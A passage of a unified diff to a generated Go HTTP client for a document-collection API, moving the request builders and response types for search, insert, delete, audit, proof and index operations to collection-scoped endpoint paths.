nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDeleteDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) +} + +// NewDeleteDocumentsRequestWithBody generates requests for DeleteDocuments with any type of body +func NewDeleteDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { var err error var pathParam0 string - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) if err != nil { return nil, err } @@ -1221,7 +1272,7 @@ func NewDeleteCollectionRequest(server string, name string) (*http.Request, erro return nil, err } - operationPath := fmt.Sprintf("/collections/%s", pathParam0) + operationPath := fmt.Sprintf("/collection/%s/documents/delete", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1231,21 +1282,34 @@ func NewDeleteCollectionRequest(server string, name string) (*http.Request, erro return nil, err } - req, err := http.NewRequest("DELETE", queryURL.String(), nil) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } + req.Header.Add("Content-Type", contentType) + return req, nil } -// NewGetCollectionRequest generates requests for GetCollection -func NewGetCollectionRequest(server string, name string) (*http.Request, error) { +// NewReplaceDocumentsRequest calls the generic ReplaceDocuments builder with application/json body +func NewReplaceDocumentsRequest(server string, collectionName string, body ReplaceDocumentsJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewReplaceDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) +} + +// NewReplaceDocumentsRequestWithBody generates requests for ReplaceDocuments with any type of body +func NewReplaceDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { var err error var pathParam0 string - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) if err != nil { return nil, err } @@ -1255,7 +1319,7 @@ func NewGetCollectionRequest(server string, name string) (*http.Request, error) return nil, err } - operationPath := fmt.Sprintf("/collections/%s", pathParam0) + operationPath := fmt.Sprintf("/collection/%s/documents/replace", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1265,32 +1329,34 @@ func NewGetCollectionRequest(server string, name string) (*http.Request, error) return nil, err } - req, err := http.NewRequest("GET", queryURL.String(), nil) + req, err := http.NewRequest("PUT", queryURL.String(), body) if err != nil { return nil, err } + req.Header.Add("Content-Type", contentType) + return req, nil } -// NewUpdateCollectionRequest calls the generic UpdateCollection builder with application/json body -func NewUpdateCollectionRequest(server string, name string, body UpdateCollectionJSONRequestBody) (*http.Request, error) { +// NewSearchDocumentsRequest calls the generic SearchDocuments builder with application/json body +func NewSearchDocumentsRequest(server string, collectionName string, body SearchDocumentsJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewUpdateCollectionRequestWithBody(server, name, "application/json", bodyReader) + return NewSearchDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) } -// NewUpdateCollectionRequestWithBody generates requests for UpdateCollection with any type of body -func NewUpdateCollectionRequestWithBody(server string, name string, contentType string, body io.Reader) (*http.Request, error) { +// NewSearchDocumentsRequestWithBody generates requests for SearchDocuments with any type of body +func NewSearchDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { var err error var pathParam0 string - pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) if err != nil { return nil, err } @@ -1300,7 +1366,7 @@ func NewUpdateCollectionRequestWithBody(server string, name string, contentType return nil, err } - operationPath := fmt.Sprintf("/collections/%s", pathParam0) + operationPath := fmt.Sprintf("/collection/%s/documents/search", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1310,7 +1376,7 @@ func NewUpdateCollectionRequestWithBody(server string, name string, contentType return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } @@ -1320,27 +1386,41 @@ func NewUpdateCollectionRequestWithBody(server string, name string, contentType return req, nil } -// NewInsertDocumentsRequest calls the generic InsertDocuments builder with application/json body -func NewInsertDocumentsRequest(server string, body InsertDocumentsJSONRequestBody) (*http.Request, error) { +// NewAuditDocumentRequest calls the generic AuditDocument builder with application/json body +func NewAuditDocumentRequest(server string, collectionName string, documentId string, body AuditDocumentJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewInsertDocumentsRequestWithBody(server, "application/json", bodyReader) + return NewAuditDocumentRequestWithBody(server, collectionName, documentId, "application/json", bodyReader) } -// NewInsertDocumentsRequestWithBody generates requests for InsertDocuments with any type of body -func NewInsertDocumentsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewAuditDocumentRequestWithBody generates requests for AuditDocument with any type of body +func NewAuditDocumentRequestWithBody(server string, collectionName string, documentId string, contentType string, body io.Reader) (*http.Request, error) { var err error + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) + if err != nil { + return nil, err + } + + var pathParam1 string + + pathParam1, err = runtime.StyleParamWithLocation("simple", false, "documentId", runtime.ParamLocationPath, documentId) + if err != nil { + return nil, err + } + serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/documents") + operationPath := fmt.Sprintf("/collection/%s/documents/%s/audit", pathParam0, pathParam1) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1350,7 +1430,7 @@ func NewInsertDocumentsRequestWithBody(server string, contentType string, body i return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } @@ -1360,27 +1440,41 @@ func NewInsertDocumentsRequestWithBody(server string, contentType string, body i return req, nil } -// NewAuditDocumentRequest calls the generic AuditDocument builder with application/json body -func NewAuditDocumentRequest(server string, body AuditDocumentJSONRequestBody) (*http.Request, error) { +// NewProofDocumentRequest calls the generic ProofDocument builder with application/json body +func NewProofDocumentRequest(server string, collectionName string, documentId string, body ProofDocumentJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewAuditDocumentRequestWithBody(server, "application/json", bodyReader) + return NewProofDocumentRequestWithBody(server, collectionName, documentId, "application/json", bodyReader) } -// NewAuditDocumentRequestWithBody generates requests for AuditDocument with any type of body -func NewAuditDocumentRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewProofDocumentRequestWithBody generates requests for ProofDocument with any type of body +func NewProofDocumentRequestWithBody(server string, collectionName string, documentId string, contentType string, body io.Reader) (*http.Request, error) { var err error + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) + if err != nil { + return nil, err + } + + var pathParam1 string + + pathParam1, err = runtime.StyleParamWithLocation("simple", false, "documentId", runtime.ParamLocationPath, documentId) + if err != nil { + return nil, err + } + serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/documents/audit") + operationPath := fmt.Sprintf("/collection/%s/documents/%s/proof", pathParam0, pathParam1) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1400,27 +1494,23 @@ func NewAuditDocumentRequestWithBody(server string, contentType string, body io. return req, nil } -// NewDeleteDocumentsRequest calls the generic DeleteDocuments builder with application/json body -func NewDeleteDocumentsRequest(server string, body DeleteDocumentsJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) +// NewDeleteIndexRequest generates requests for DeleteIndex +func NewDeleteIndexRequest(server string, collectionName string, params *DeleteIndexParams) (*http.Request, error) { + var err error + + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) if err != nil { return nil, err } - bodyReader = bytes.NewReader(buf) - return NewDeleteDocumentsRequestWithBody(server, "application/json", bodyReader) -} - -// NewDeleteDocumentsRequestWithBody generates requests for DeleteDocuments with any type of body -func NewDeleteDocumentsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/documents/delete") + operationPath := fmt.Sprintf("/collection/%s/index", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1430,37 +1520,62 @@ func NewDeleteDocumentsRequestWithBody(server string, contentType string, body i return nil, err } - req, err := http.NewRequest("POST", queryURL.String(), body) + queryValues := queryURL.Query() + + if params.Fields != nil { + + if queryFrag, err := runtime.StyleParamWithLocation("form", true, "fields", runtime.ParamLocationQuery, *params.Fields); err != nil { + return nil, err + } else if parsed, err := url.ParseQuery(queryFrag); err != nil { + return nil, err + } else { + for k, v := range parsed { + for _, v2 := range v { + queryValues.Add(k, v2) + } + } + } + + } + + queryURL.RawQuery = queryValues.Encode() + + req, err := http.NewRequest("DELETE", queryURL.String(), nil) if err != nil { return nil, err } - req.Header.Add("Content-Type", contentType) - return req, nil } -// NewProofDocumentRequest calls the generic ProofDocument builder with application/json body -func NewProofDocumentRequest(server string, body ProofDocumentJSONRequestBody) (*http.Request, error) { +// NewCreateIndexRequest calls the generic CreateIndex builder with application/json body +func NewCreateIndexRequest(server string, collectionName string, body CreateIndexJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewProofDocumentRequestWithBody(server, "application/json", bodyReader) + return NewCreateIndexRequestWithBody(server, collectionName, "application/json", bodyReader) } -// NewProofDocumentRequestWithBody generates requests for ProofDocument with any type of body -func NewProofDocumentRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewCreateIndexRequestWithBody generates requests for CreateIndex with any type of body +func NewCreateIndexRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { var err error + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) + if err != nil { + return nil, err + } + serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/documents/proof") + operationPath := fmt.Sprintf("/collection/%s/index", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1470,7 +1585,7 @@ func NewProofDocumentRequestWithBody(server string, contentType string, body io. return nil, err } - req, err := http.NewRequest("POST", queryURL.String(), body) + req, err := http.NewRequest("PUT", queryURL.String(), body) if err != nil { return nil, err } @@ -1480,27 +1595,23 @@ func NewProofDocumentRequestWithBody(server string, contentType string, body io. return req, nil } -// NewReplaceDocumentsRequest calls the generic ReplaceDocuments builder with application/json body -func NewReplaceDocumentsRequest(server string, body ReplaceDocumentsJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) +// NewDeleteCollectionRequest generates requests for DeleteCollection +func NewDeleteCollectionRequest(server string, name string) (*http.Request, error) { + var err error + + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) if err != nil { return nil, err } - bodyReader = bytes.NewReader(buf) - return NewReplaceDocumentsRequestWithBody(server, "application/json", bodyReader) -} - -// NewReplaceDocumentsRequestWithBody generates requests for ReplaceDocuments with any type of body -func NewReplaceDocumentsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/documents/replace") + operationPath := fmt.Sprintf("/collection/%s", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1510,37 +1621,31 @@ func NewReplaceDocumentsRequestWithBody(server string, contentType string, body return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("DELETE", queryURL.String(), nil) if err != nil { return nil, err } - req.Header.Add("Content-Type", contentType) - return req, nil } -// NewSearchDocumentsRequest calls the generic SearchDocuments builder with application/json body -func NewSearchDocumentsRequest(server string, body SearchDocumentsJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) +// NewGetCollectionRequest generates requests for GetCollection +func NewGetCollectionRequest(server string, name string) (*http.Request, error) { + var err error + + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) if err != nil { return nil, err } - bodyReader = bytes.NewReader(buf) - return NewSearchDocumentsRequestWithBody(server, "application/json", bodyReader) -} - -// NewSearchDocumentsRequestWithBody generates requests for SearchDocuments with any type of body -func NewSearchDocumentsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/documents/search") + operationPath := fmt.Sprintf("/collection/%s", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1550,37 +1655,42 @@ func NewSearchDocumentsRequestWithBody(server string, contentType string, body i return nil, err } - req, err := http.NewRequest("POST", queryURL.String(), body) + req, err := http.NewRequest("GET", queryURL.String(), nil) if err != nil { return nil, err } - req.Header.Add("Content-Type", contentType) - return req, nil } -// NewCreateIndexRequest calls the generic CreateIndex builder with application/json body -func NewCreateIndexRequest(server string, body CreateIndexJSONRequestBody) (*http.Request, error) { +// NewUpdateCollectionRequest calls the generic UpdateCollection builder with application/json body +func NewUpdateCollectionRequest(server string, name string, body UpdateCollectionJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewCreateIndexRequestWithBody(server, "application/json", bodyReader) + return NewUpdateCollectionRequestWithBody(server, name, "application/json", bodyReader) } -// NewCreateIndexRequestWithBody generates requests for CreateIndex with any type of body -func NewCreateIndexRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewUpdateCollectionRequestWithBody generates requests for UpdateCollection with any type of body +func NewUpdateCollectionRequestWithBody(server string, name string, contentType string, body io.Reader) (*http.Request, error) { var err error + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) + if err != nil { + return nil, err + } + serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/index") + operationPath := fmt.Sprintf("/collection/%s", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1600,19 +1710,46 @@ func NewCreateIndexRequestWithBody(server string, contentType string, body io.Re return req, nil } -// NewDeleteIndexRequest calls the generic DeleteIndex builder with application/json body -func NewDeleteIndexRequest(server string, body DeleteIndexJSONRequestBody) (*http.Request, error) { +// NewGetCollectionsRequest generates requests for GetCollections +func NewGetCollectionsRequest(server string) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/collections") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("GET", queryURL.String(), nil) + if err != nil { + return nil, err + } + + return req, nil +} + +// NewCreateCollectionRequest calls the generic CreateCollection builder with application/json body +func NewCreateCollectionRequest(server string, body CreateCollectionJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewDeleteIndexRequestWithBody(server, "application/json", bodyReader) + return NewCreateCollectionRequestWithBody(server, "application/json", bodyReader) } -// NewDeleteIndexRequestWithBody generates requests for DeleteIndex with any type of body -func NewDeleteIndexRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewCreateCollectionRequestWithBody generates requests for CreateCollection with any type of body +func NewCreateCollectionRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1620,7 +1757,7 @@ func NewDeleteIndexRequestWithBody(server string, contentType string, body io.Re return nil, err } - operationPath := fmt.Sprintf("/index/delete") + operationPath := fmt.Sprintf("/collections") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1630,7 +1767,7 @@ func NewDeleteIndexRequestWithBody(server string, contentType string, body io.Re return nil, err } - req, err := http.NewRequest("POST", queryURL.String(), body) + req, err := http.NewRequest("PUT", queryURL.String(), body) if err != nil { return nil, err } @@ -1698,64 +1835,67 @@ type ClientWithResponsesInterface interface { OpenSessionWithResponse(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*OpenSessionResponse, error) - // GetCollections request - GetCollectionsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetCollectionsResponse, error) + // SearchDocumentsWith request with any body + SearchDocumentsWithWithBodyWithResponse(ctx context.Context, searchId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsWithResponse, error) - // CreateCollection request with any body - CreateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) + SearchDocumentsWithWithResponse(ctx context.Context, searchId string, body SearchDocumentsWithJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsWithResponse, error) - CreateCollectionWithResponse(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) + // InsertDocuments request with any body + InsertDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) - // DeleteCollection request - DeleteCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*DeleteCollectionResponse, error) + InsertDocumentsWithResponse(ctx context.Context, collectionName string, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) - // GetCollection request - GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) + // DeleteDocuments request with any body + DeleteDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) - // UpdateCollection request with any body - UpdateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) + DeleteDocumentsWithResponse(ctx context.Context, collectionName string, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) - UpdateCollectionWithResponse(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) + // ReplaceDocuments request with any body + ReplaceDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) - // InsertDocuments request with any body - InsertDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) + ReplaceDocumentsWithResponse(ctx context.Context, collectionName string, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) + + // SearchDocuments request with any body + SearchDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) - InsertDocumentsWithResponse(ctx context.Context, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) + SearchDocumentsWithResponse(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) // AuditDocument request with any body - AuditDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) + AuditDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) - AuditDocumentWithResponse(ctx context.Context, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) + AuditDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) - // DeleteDocuments request with any body - DeleteDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) + // ProofDocument request with any body + ProofDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) - DeleteDocumentsWithResponse(ctx context.Context, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) + ProofDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) - // ProofDocument request with any body - ProofDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) + // DeleteIndex request + DeleteIndexWithResponse(ctx context.Context, collectionName string, params *DeleteIndexParams, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) - ProofDocumentWithResponse(ctx context.Context, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) + // CreateIndex request with any body + CreateIndexWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) - // ReplaceDocuments request with any body - ReplaceDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) + CreateIndexWithResponse(ctx context.Context, collectionName string, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) - ReplaceDocumentsWithResponse(ctx context.Context, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) + // DeleteCollection request + DeleteCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*DeleteCollectionResponse, error) - // SearchDocuments request with any body - SearchDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) + // GetCollection request + GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) - SearchDocumentsWithResponse(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) + // UpdateCollection request with any body + UpdateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) - // CreateIndex request with any body - CreateIndexWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) + UpdateCollectionWithResponse(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) - CreateIndexWithResponse(ctx context.Context, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) + // GetCollections request + GetCollectionsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetCollectionsResponse, error) - // DeleteIndex request with any body - DeleteIndexWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) + // CreateCollection request with any body + CreateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) - DeleteIndexWithResponse(ctx context.Context, body DeleteIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) + CreateCollectionWithResponse(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) } type CloseSessionResponse struct { @@ -1827,15 +1967,15 @@ func (r OpenSessionResponse) StatusCode() int { return 0 } -type GetCollectionsResponse struct { +type SearchDocumentsWithResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelGetCollectionsResponse + JSON200 *ModelSearchDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r GetCollectionsResponse) Status() string { +func (r SearchDocumentsWithResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -1843,22 +1983,22 @@ func (r GetCollectionsResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r GetCollectionsResponse) StatusCode() int { +func (r SearchDocumentsWithResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type CreateCollectionResponse struct { +type InsertDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelCreateCollectionResponse + JSON200 *ModelInsertDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r CreateCollectionResponse) Status() string { +func (r InsertDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -1866,22 +2006,22 @@ func (r CreateCollectionResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r CreateCollectionResponse) StatusCode() int { +func (r InsertDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DeleteCollectionResponse struct { +type DeleteDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDeleteCollectionResponse + JSON200 *ModelDeleteDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DeleteCollectionResponse) Status() string { +func (r DeleteDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -1889,22 +2029,22 @@ func (r DeleteCollectionResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DeleteCollectionResponse) StatusCode() int { +func (r DeleteDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type GetCollectionResponse struct { +type ReplaceDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelGetCollectionResponse + JSON200 *ModelReplaceDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r GetCollectionResponse) Status() string { +func (r ReplaceDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -1912,22 +2052,22 @@ func (r GetCollectionResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r GetCollectionResponse) StatusCode() int { +func (r ReplaceDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type UpdateCollectionResponse struct { +type SearchDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelUpdateCollectionResponse + JSON200 *ModelSearchDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r UpdateCollectionResponse) Status() string { +func (r SearchDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -1935,22 +2075,22 @@ func (r UpdateCollectionResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r UpdateCollectionResponse) StatusCode() int { +func (r SearchDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type InsertDocumentsResponse struct { +type AuditDocumentResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelInsertDocumentsResponse + JSON200 *ModelAuditDocumentResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r InsertDocumentsResponse) Status() string { +func (r AuditDocumentResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -1958,22 +2098,22 @@ func (r InsertDocumentsResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r InsertDocumentsResponse) StatusCode() int { +func (r AuditDocumentResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type AuditDocumentResponse struct { +type ProofDocumentResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelAuditDocumentResponse + JSON200 *ModelProofDocumentResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r AuditDocumentResponse) Status() string { +func (r ProofDocumentResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -1981,22 +2121,22 @@ func (r AuditDocumentResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r AuditDocumentResponse) StatusCode() int { +func (r ProofDocumentResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DeleteDocumentsResponse struct { +type DeleteIndexResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDeleteDocumentsResponse + JSON200 *ModelDeleteIndexResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DeleteDocumentsResponse) Status() string { +func (r DeleteIndexResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2004,22 +2144,22 @@ func (r DeleteDocumentsResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DeleteDocumentsResponse) StatusCode() int { +func (r DeleteIndexResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type ProofDocumentResponse struct { +type 